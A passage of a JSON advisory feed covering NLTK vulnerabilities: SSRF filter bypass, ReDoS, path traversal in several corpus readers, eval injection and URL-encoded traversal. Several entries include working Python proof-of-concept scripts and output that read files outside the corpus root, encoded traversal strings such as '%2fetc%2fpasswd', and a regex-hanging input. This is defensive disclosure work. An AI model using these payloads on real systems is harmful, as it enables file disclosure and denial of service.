can expose IAM/service credentials and lead to cloud account compromise.\n- **Bypass of an explicit security control.** It defeats the `nltk.pathsec` SSRF filter, including the `ENFORCE` mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the `lru_cache` annotation claiming to mitigate rebinding makes the false assurance worse.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-31T16:51:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-qvv7-cg9c-w4x3","https://github.com/advisories/GHSA-qvv7-cg9c-w4x3"],"source_kind":"github","identifiers":["GHSA-qvv7-cg9c-w4x3","CVE-2026-12075"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-31T17:00:09.052Z","updated_at":"2026-08-14T23:00:26.859Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xdnY3LWNnOWMtdzR4M84ABg-E","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xdnY3LWNnOWMtdzR4M84ABg-E","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xdnY3LWNnOWMtdzR4M84ABg-E/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mZzdmLTIzODYtODg5N84ABg-D","url":"https://github.com/advisories/GHSA-fg7f-2386-8897","title":"Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex","description":"### Summary\n`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. \n\n\n### Details\nThe label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.\n\n### PoC\n```\nimport multiprocessing as mp\nimport re\nimport time\n\n# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---\nFEATURES_VULN = re.compile(r\"((?:(?:\\w+\\s)+)?\\w+)\\[((?:\\+|\\-)\\d)\\]\")\n\n# --- Bounded variant from the fix (PR #3583): cap the per-label word run.\n#     A generous bound (real feature labels are short noun phrases) makes the\n#     run linear while never affecting legitimate corpora. ---\nWORD_BOUND = 50\nFEATURES_FIXED = re.compile(\n    r\"((?:(?:\\w+\\s){0,%d})?\\w+)\\[((?:\\+|\\-)\\d)\\]\" % WORD_BOUND\n)\n\nTIMEOUT = 20.0  # seconds, per measurement\nSIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line\n\n\ndef _bad_line(n_words):\n    \"\"\"A long line of plain words with NO trailing bracketed annotation.\"\"\"\n    return (\"word \" * n_words).rstrip()\n\n\ndef _worker(pattern_str, line, q):\n    pat = re.compile(pattern_str)\n    t0 = time.perf_counter()\n    pat.findall(line)\n    q.put(time.perf_counter() - t0)\n\n\ndef timed_findall(pattern, line, timeout=TIMEOUT):\n    \"\"\"Run pattern.findall(line) in a killable process; return seconds or None (timeout).\"\"\"\n    q = mp.Queue()\n    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))\n    p.start()\n    p.join(timeout)\n    if p.is_alive():\n        p.terminate()\n        p.join()\n        return None\n    return q.get() if not q.empty() else None\n\n\ndef bench(label, pattern):\n    print(f\"\\n[{label}]  pattern: {pattern.pattern}\")\n    print(f\"  {'words':\u003e7} {'~bytes':\u003e8}   {'time':\u003e12}   {'x prev':\u003e7}\")\n    prev = None\n    for n in SIZES:\n        line = _bad_line(n)\n        t = timed_findall(pattern, line)\n        if t is None:\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {'\u003e%.0fs TIMEOUT' % TIMEOUT:\u003e12}   {'--':\u003e7}\")\n            prev = None\n        else:\n            ratio = f\"{t/prev:.1f}x\" if prev else \"--\"\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {t*1000:\u003e9.1f} ms   {ratio:\u003e7}\")\n            prev = t\n\n\ndef parity_check():\n    \"\"\"The bound must NOT change extraction on a realistic annotated line.\"\"\"\n    real = (\n        \"the picture quality[+2] and battery life[+1] are great but \"\n        \"the lens cap[-1] feels cheap and the menu system[-2] is slow\"\n    )\n    a = FEATURES_VULN.findall(real)\n    b = FEATURES_FIXED.findall(real)\n    print(\"\\n[parity] realistic annotated line — extraction must be identical\")\n    print(f\"  vulnerable regex -\u003e {a}\")\n    print(f\"  bounded   regex  -\u003e {b}\")\n    print(f\"  identical: {a == b}\")\n    return a == b\n\n\ndef main():\n    print(\"=\" * 66)\n    print(\" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)\")\n    print(\"=\" * 66)\n    print(f\" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}\")\n\n    bench(\"VULNERABLE  reviews.py L70-71\", FEATURES_VULN)\n    bench(\"BOUNDED     fix #3583\", FEATURES_FIXED)\n    same = parity_check()\n\n    print(\"\\n\" + \"=\" * 66)\n    print(\" Vulnerable: ~4x time per input doubling  =\u003e O(n^2) quadratic ReDoS\")\n    print(\" Bounded:    ~2x time per input doubling  =\u003e O(n)   linear, stays in ms\")\n    print(f\" Extraction parity on real annotations preserved: {same}\")\n    print(\" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().\")\n    print(\"=\" * 66)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nDenial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-31T16:51:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897","https://github.com/advisories/GHSA-fg7f-2386-8897"],"source_kind":"github","identifiers":["GHSA-fg7f-2386-8897","CVE-2026-12061"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-31T17:00:09.052Z","updated_at":"2026-08-14T23:00:26.860Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZzdmLTIzODYtODg5N84ABg-D","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZzdmLTIzODYtODg5N84ABg-D","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZzdmLTIzODYtODg5N84ABg-D/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02aG01LWpnY3AtcDgzOM4ABg-C","url":"https://github.com/advisories/GHSA-6hm5-jgcp-p838","title":"Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)","description":"### Summary\n   A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n   influence the `fileids` argument of its public read methods (`header`, `raw`,\n   `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n   reader builds the file path with no containment check and opens it with the\n   builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox — including the\n   strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n   deployments. `header()` returns the parsed content of the out-of-root file to\n   the caller (arbitrary file read).\n\n   ### Details\n   `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n   directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n   access … will raise `PermissionError`.\" That guarantee is enforced via\n   `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n   `nltk.pathsec.validate_path(...)`.\n\n   `NKJPCorpusReader` never uses that protected path. In\n   `nltk/corpus/reader/nkjp.py`:\n\n   - `add_root()` builds the path by **plain string concatenation** with no\n     normalization or containment check:\n     ```python\n     def add_root(self, fileid):          # lines 96-102\n         if self.root in fileid:\n             return fileid                # attacker-controlled value returned unchanged\n         return self.root + fileid        # plain concat, '..' not stripped\n     ```\n   - The header view appends a fixed basename and passes the string straight into\n     the corpus view (which opens it with the builtin `open()`):\n     ```python\n     class NKJPCorpus_Header_View(XMLCorpusView):   # line 181\n         def __init__(self, filename, **kwargs):\n             XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec)  # line 189\n     ```\n   - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n     `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n     builtin `open()`:\n     ```python\n     class XML_Tool:                                  # line 243\n         def __init__(self, root, filename):\n             self.read_file = os.path.join(root, filename)   # line 251\n         def build_preprocessed_file(self):\n             fr = open(self.read_file)                        # line 256 — pathsec never consulted\n     ```\n\n   Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n   sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n   comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n   rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n   before opening — `NKJPCorpusReader` simply does not go through it.\n\n   ### PoC\n   Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n   ```\n   pip install \"nltk==3.9.4\"\n   python3 poc.py\n   ```\n\n   `poc.py`:\n   ```python\n   import builtins, os, shutil, tempfile, warnings\n   warnings.simplefilter(\"ignore\")\n   import nltk, nltk.pathsec as pathsec\n   from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n   print(\"nltk\", nltk.__version__)\n\n   # A legitimate, empty NKJP corpus root (what a real app has).\n   root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n   os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n   open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"\u003cx/\u003e\")\n\n   # The attacker's target: a file OUTSIDE the corpus root.\n   secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n   open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n   \"\u003cteiHeader\u003e\u003cfileDesc\u003e\u003csourceDesc\u003e\u003cbibl\u003e\"\n   \"\u003ctitle\u003eSECRET-API-KEY=sk-live-DEADBEEF\u003c/title\u003e\"\n       \"\u003c/bibl\u003e\u003c/sourceDesc\u003e\u003c/fileDesc\u003e\u003c/teiHeader\u003e\")\n\n   # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n   pathsec.ENFORCE = True\n   print(\"ENFORCE =\", pathsec.ENFORCE)\n\n   # Prove the out-of-root read and that pathsec is never consulted.\n   opened = []; real = builtins.open\n   builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n   reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n   # Attacker-controlled `fileids`; '..' escapes the corpus root:\n   evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n   try:\n       result = reader.header(fileids=[evil])\n   finally:\n       builtins.open = real\n\n   print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n   print(\"disclosed content  :\", result[0][\"title\"])\n   shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n   ```\n\n   Output (unmodified):\n   ```\n   nltk 3.9.4\n   ENFORCE = True\n   opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']\n   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF\n   ```\n   With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n   builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n   ### Impact\n   This is a path traversal (CWE-22) leading to arbitrary file read. Any\n   application that passes attacker-influenced values into `NKJPCorpusReader`'s\n   `fileids` (e.g. letting a user choose which corpus document to read) is\n   affected; the attacker can escape the corpus root and read files elsewhere on\n   the host, defeating the `ENFORCE=True` sandbox.\n\n   Honest scoping: `header()` discloses the content of out-of-root files named\n   `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n   and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n   separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n   `NamedTemporaryFile`) suppresses their return value on current Python, so for\n   those modes the impact is arbitrary file open/read. The attacker chooses the\n   directory freely; a fixed basename is appended per mode. The same\n   \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n   `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n   `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-31T16:50:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838","https://github.com/advisories/GHSA-6hm5-jgcp-p838"],"source_kind":"github","identifiers":["GHSA-6hm5-jgcp-p838","CVE-2026-12072"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-31T17:00:09.052Z","updated_at":"2026-08-14T23:00:26.860Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aG01LWpnY3AtcDgzOM4ABg-C","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02aG01LWpnY3AtcDgzOM4ABg-C","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aG01LWpnY3AtcDgzOM4ABg-C/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14aDk1LWY1NW0tODJmd84ABg-B","url":"https://github.com/advisories/GHSA-xh95-f55m-82fw","title":"Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)","description":"### Summary\n`FramenetCorpusReader.frame(name)` interpolates a caller-supplied frame name into an XML file path that is read with the builtin `open()`, bypassing `CorpusReader.open()` and the `nltk.pathsec` sandbox — including strict `ENFORCE=True` mode. A `../` sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.\n\n\n### Details\n`frame_by_name` builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed `.xml` extension, with no containment check, then constructs an `XMLCorpusView` from that **string** path. Because the view is built from a string rather than a `PathPointer`, it reads with the builtin `open()`, so `nltk.pathsec.validate_path()` is never invoked and `ENFORCE=True` does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; `frame_by_name` never goes through `CorpusReader.open()`, so that protection does not apply.\n\nThe same string-path-into-`XMLCorpusView` pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:\n- `doc()` — uses the index entry `filename` field\n- the lexical-unit file loader — uses the `lexUnit` ID attribute\n\nThese are reachable through a malicious or attacker-modified FrameNet corpus index.\n\n### PoC\n```python\n\"\"\"\n\nimport os\nimport sys\nimport tempfile\nimport warnings\nfrom pathlib import Path\n\nwarnings.filterwarnings(\"ignore\")\n\n# --- Turn the documented strict sandbox ON, before importing the reader. ---\nimport nltk.pathsec as ps\nps.ENFORCE = True\n\nimport nltk\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError\n\nFRAME_XML = (\n    '\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n'\n    '\u003cframe xmlns=\"http://framenet.icsi.berkeley.edu\" ID=\"1337\" name=\"pwned\"\u003e\\n'\n    \"\u003cdefinition\u003eSECRET-OUT-OF-ROOT-CONTENT\u003c/definition\u003e\\n\"\n    \"\u003c/frame\u003e\\n\"\n)\n\nBANNER = \"\"\"\\\n===========================================================\n NLTK FramenetCorpusReader.frame() Path Traversal PoC\n nltk {ver}   |   nltk.pathsec.ENFORCE = {enforce}\n===========================================================\"\"\".format(\n    ver=nltk.__version__, enforce=ps.ENFORCE\n)\n\n\ndef build_corpus():\n    \"\"\"Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root.\"\"\"\n    base = Path(tempfile.mkdtemp(prefix=\"fn_poc_\"))\n    root = base / \"corpora\" / \"framenet\"\n    for d in (\"frame\", \"fulltext\", \"lu\"):\n        (root / d).mkdir(parents=True)\n    (root / \"frameIndex.xml\").write_text(\n        '\u003c?xml version=\"1.0\"?\u003e\u003cframeIndex\u003e\u003c/frameIndex\u003e'\n    )\n    (root / \"frRelation.xml\").write_text(\n        '\u003c?xml version=\"1.0\"?\u003e\u003cframeRelations\u003e\u003c/frameRelations\u003e'\n    )\n\n    # A frame-shaped XML file OUTSIDE the corpus root (the \"sensitive\" target).\n    secret = base / \"private\"\n    secret.mkdir()\n    (secret / \"secret.xml\").write_text(FRAME_XML)\n\n    return base, root, secret / \"secret.xml\"\n\n\ndef main():\n    print(BANNER)\n    base, root, secret_path = build_corpus()\n    print(f\"[*] corpus root : {root}\")\n    print(f\"[*] secret file : {secret_path}  (OUTSIDE the root)\\n\")\n\n    fn = FramenetCorpusReader(str(root), [])\n\n    # Attacker-controlled frame name climbs out of \u003croot\u003e/frame/ up to \u003cbase\u003e/private/secret.xml\n    evil = os.path.join(\"..\", \"..\", \"..\", \"private\", \"secret\")\n    print(f\"[*] calling   fn.frame({evil!r})\")\n\n    try:\n        f = fn.frame(evil)\n        definition = f[\"definition\"]\n        if \"SECRET-OUT-OF-ROOT-CONTENT\" in definition:\n            print(\"\\n  [VULN] out-of-root file was read and returned to caller\")\n            print(f\"         frame name : {evil}\")\n            print(f\"         frame ID   : {f['ID']}   name: {f['name']}\")\n            print(f\"         definition : {definition}\")\n            print(f\"\\n  -\u003e nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}\")\n            verdict = \"VULNERABLE\"\n        else:\n            print(f\"\\n  [?] frame() returned but content unexpected: {definition!r}\")\n            verdict = \"INCONCLUSIVE\"\n    except FramenetError as e:\n        # Patched build (#3581): _reject_unsafe_path_component raises before open().\n        print(f\"\\n  [SAFE] FramenetError: {e}\")\n        print(\"         traversal rejected before any file was opened (patched)\")\n        verdict = \"NOT VULNERABLE\"\n    except Exception as e:\n        print(f\"\\n  [SAFE] {type(e).__name__}: {e}\")\n        verdict = \"NOT VULNERABLE\"\n\n    # Control: a plain absent name must fail as 'Unknown frame', NOT as a read.\n    print(\"\\n[CONTROL] benign absent name should be 'Unknown frame':\")\n    try:\n        fn.frame(\"Definitely_Not_A_Frame\")\n        print(\"  [?] unexpectedly succeeded\")\n    except Exception as e:\n        print(f\"  ok -\u003e {type(e).__name__}: {e}\")\n\n    print(\"\\n\" + \"=\" * 59)\n    print(f\" Result: {verdict}  (ENFORCE = {ps.ENFORCE})\")\n    print(\"=\" * 59)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\n\n### Impact\n- **Out-of-sandbox arbitrary XML read.** Any application that routes attacker-influenced input into `frame()` can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. `frame()` is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.\n- **Broad read primitive.** Only a fixed `.xml` extension is appended; the attacker controls both directory and basename, giving \"read any XML file the process can read.\" Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.\n- **Silent bypass of an advertised boundary.** NLTK's `SECURITY.md` presents the `nltk.pathsec` sandbox and `ENFORCE=True` as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because `frame_by_name` builds the path itself and reads through a string-path `XMLCorpusView`, the containment guard is never called and `ENFORCE=True` does not block the read — silently, with no error or warning.\n- **Crafted-corpus reach.** Via `doc()` and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.\n- **Sensitive targets.** Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where `frame()` output is reflected to the requester, disclosure is direct and non-blind.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-31T16:50:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw","https://github.com/advisories/GHSA-xh95-f55m-82fw"],"source_kind":"github","identifiers":["GHSA-xh95-f55m-82fw","CVE-2026-12074"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-31T17:00:09.052Z","updated_at":"2026-08-14T23:00:26.860Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aDk1LWY1NW0tODJmd84ABg-B","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14aDk1LWY1NW0tODJmd84ABg-B","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aDk1LWY1NW0tODJmd84ABg-B/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04NDhjLWMyY3gtajdxeM4ABftt","url":"https://github.com/advisories/GHSA-848c-c2cx-j7qx","title":"NLTK vulnerable to Eval Injection via collocations CLI arguments","description":"NLTK (Natural Language Toolkit) before version 3.9.3 contains an eval injection vulnerability in the nltk.collocations module that allows an attacker who controls command-line arguments to execute arbitrary Python code. When collocations.py is invoked directly, the __main__ block passes command-line arguments directly to eval() as suffixes of BigramAssocMeasures without allowlist validation or sanitization, enabling an attacker to supply a Python expression that escapes the intended attribute lookup and executes arbitrary code including OS commands via the os module.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-25T00:31:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-71408","https://github.com/nltk/nltk/pull/3465","https://github.com/nltk/nltk/commit/66f14096d952ec8f04934f515e027534bd4eb0ac","https://aydinnyunus.github.io/2026/06/07/command-injection-nltk-collocations-eval","https://github.com/nltk/nltk/releases/tag/3.9.3","https://www.vulncheck.com/advisories/nltk-eval-injection-via-collocations-py-command-line-arguments","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3657.yaml","https://github.com/advisories/GHSA-848c-c2cx-j7qx"],"source_kind":"github","identifiers":["GHSA-848c-c2cx-j7qx","CVE-2025-71408"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-12T20:00:08.095Z","updated_at":"2026-08-26T21:00:21.453Z","epss_percentage":0.00198,"epss_percentile":0.09592,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04NDhjLWMyY3gtajdxeM4ABftt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04NDhjLWMyY3gtajdxeM4ABftt","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.3","vulnerable_version_range":"\u003c 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04NDhjLWMyY3gtajdxeM4ABftt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xNWg2LWZjZjUtNDlnOc4ABZwk","url":"https://github.com/advisories/GHSA-q5h6-fcf5-49g9","title":"Duplicate Advisory: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-m42h-3232-vpv3. This link is maintained to preserve external references.\n\n## Original Description\nNLTK version 3.9.4 is vulnerable to a path traversal attack due to an incomplete fix for GitHub Issue #3504. The `_UNSAFE_NO_PROTOCOL_RE` regex in `nltk/data.py` checks for literal `../` sequences but fails to account for percent-encoded traversal sequences such as `..%2f`. The `url2pathname()` function decodes these sequences after the validation step, allowing an attacker to bypass the protection. This vulnerability enables an attacker to read arbitrary files accessible to the Python process by controlling the resource name parameter passed to `nltk.data.load()` or `nltk.data.find()`. The issue affects applications that rely on NLTK for resource loading, including NLP web applications, Jupyter notebooks, and CLI tools. The default `pathsec.ENFORCE=False` setting exacerbates the impact by not blocking the file read at the `open()` stage.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-30T03:37:14.000Z","withdrawn_at":"2026-08-13T20:44:55.000Z","classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-12243","https://huntr.com/bounties/39aa9354-54ca-4e77-96da-580eb1fe6ed1","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-597.yaml","https://github.com/advisories/GHSA-q5h6-fcf5-49g9"],"source_kind":"github","identifiers":["GHSA-q5h6-fcf5-49g9"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-13T21:00:08.851Z","updated_at":"2026-08-14T23:00:09.968Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNWg2LWZjZjUtNDlnOc4ABZwk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xNWg2LWZjZjUtNDlnOc4ABZwk","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c 3.10.0"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNWg2LWZjZjUtNDlnOc4ABZwk/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wNGdxLTgzMngtZm05ds4ABYzE","url":"https://github.com/advisories/GHSA-p4gq-832x-fm9v","title":"Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read","description":"### Summary\nnltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem.\nWhile literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.\n### Affected Component\nnltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check.\nRelevant occurrences:\n\ndata.py L650–L653 — final path constructed from url2pathname(resource_name) after checks\ndata.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string\ndata.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check\ndata.py L615–L618 — defense-in-depth traversal check also operates on undecoded input\n\nRoot Cause\nThe regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.\n### Proof of Concept\n```\n\"\"\"\nNLTK Arbitrary File Read via URL-Encoded Path Traversal\n=======================================================\nBypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py\nby URL-encoding path separators and traversal components.\n\nAffected: NLTK \u003c= 3.9.4 (default ENFORCE=False configuration)\nCWE: CWE-22 (Path Traversal)\n\nRoot Cause:\n  nltk/data.py:find() checks resource names against a regex for\n  traversal patterns (../, leading /, etc.) BEFORE calling\n  url2pathname() which decodes %xx sequences. This is a classic\n  \"decode-after-check\" vulnerability.\n\"\"\"\n\nimport sys\nimport os\nimport warnings\n\n# Suppress NLTK security warnings for clean PoC output\nwarnings.filterwarnings(\"ignore\", category=RuntimeWarning)\n\n# Setup\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), \"nltk\"))\nos.makedirs(os.path.expanduser(\"~/nltk_data/corpora\"), exist_ok=True)\n\nimport nltk\nfrom nltk.pathsec import ENFORCE\n\nBANNER = 